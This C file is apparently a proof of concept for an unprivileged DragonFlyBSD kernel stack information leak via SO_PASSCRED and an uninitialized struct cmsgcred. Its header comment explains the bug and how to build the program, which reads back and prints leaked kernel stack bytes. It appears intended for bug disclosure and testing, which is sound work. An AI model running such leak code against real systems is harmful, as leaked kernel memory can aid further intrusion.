/*
 * DF-0010 PoC - struct cmsgcred uninitialized stack leak via SO_PASSCRED.
 *
 * In uipc_send() (sys/kern/uipc_usrreq.c:680-700), when the AF_UNIX
 * SOCK_DGRAM receiver has SO_PASSCRED set and the sender did NOT include an
 * SCM_CREDS control message, the kernel synthesizes one from an
 * uninitialized on-stack struct cmsgcred cred (:683). sbcreatecontrol()
 * copies sizeof(cred) bytes of that stack garbage into the mbuf (:695), then
 * unp_internalize() only fills cmcred_pid/uid/euid/gid/ngroups and
 * groups[0..ngroups-1] (:1734-1744). The tail groups[ngroups..CMGROUP_MAX-1]
 * (up to 15*4 = 60 bytes) retain whatever was on the kernel stack and are
 * delivered verbatim to the receiver via recvmsg().
 *
 * Self-reachable, unprivileged: socketpair(AF_UNIX, SOCK_DGRAM), set
 * SO_PASSCRED on one end, send plain data from the other, recvmsg -> the
 * cmsgcred control message leaks kernel-stack residue.
 *
 * Build (DragonFlyBSD):  cc -o leak_cmsgcred leak_cmsgcred.c
 * Run as an UNPRIVILEGED user:  ./leak_cmsgcred
 *
 * Expected (bug present): prints the trailing cmsgcred groups beyond
 * cmcred_ngroups; they vary across runs and are leaked kernel-stack bytes.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>

int
main(void)
{
	int s[2], on = 1, i, j, leaked = 0;

	if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, s) != 0) {
		perror("socketpair");
		return 1;
	}
	if (setsockopt(s[0], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on)) != 0) {
		perror("setsockopt SO_PASSCRED");
		return 1;
	}

	for (j = 0; j < 4; j++) {
		/* Send WITHOUT an SCM_CREDS control message. */
		if (send(s[1], "x", 1, 0) != 1) {
			perror("send");
			return 1;
		}

		char cbuf[CMSG_SPACE(sizeof(struct cmsgcred))];
		char rb[16];
		struct iovec io = { rb, sizeof(rb) };
		struct msghdr mh;
		memset(&mh, 0, sizeof(mh));
		memset(cbuf, 0x5a, sizeof(cbuf));	/* marker so we can see kernel bytes */
		mh.msg_control = cbuf;
		mh.msg_controllen = sizeof(cbuf);
		mh.msg_iov = &io;
		mh.msg_iovlen = 1;

		if (recvmsg(s[0], &mh, 0) < 0) {
			perror("recvmsg");
			return 1;
		}

		struct cmsghdr *cm = CMSG_FIRSTHDR(&mh);
		if (cm == NULL) {
			printf("sample %d: no cmsg\n", j);
			continue;
		}
		struct cmsgcred *c = (struct cmsgcred *)CMSG_DATA(cm);
		int ng = c->cmcred_ngroups;
		printf("sample %d: pid=%d uid=%d euid=%d gid=%d ngroups=%d\n",
		       j, c->cmcred_pid, c->cmcred_uid, c->cmcred_euid,
		       c->cmcred_gid, ng);
		if (ng < 0 || ng > 16)
			ng = 0;		/* defensive */
		printf("  filled groups [0..%d] = {", ng - 1);
		for (i = 0; i < ng; i++)
			printf(" %u", c->cmcred_groups[i]);
		printf(" }\n  UNFILLED groups [%d..15] = {", ng);
		int sample_leak = 0;
		for (i = ng; i < 16; i++) {
			printf(" 0x%08x", c->cmcred_groups[i]);
			if (c->cmcred_groups[i] != 0 && c->cmcred_groups[i] != 0x5a5a5a5a)
				sample_leak = 1;
		}
		printf(" }\n");
		if (sample_leak)
			leaked++;
	}

	printf("\nresult: %s\n",
	       leaked ? "LEAK CONFIRMED (kernel-stack bytes in unfilled groups)"
	              : "no residue this run");
	return leaked ? 0 : 2;
}
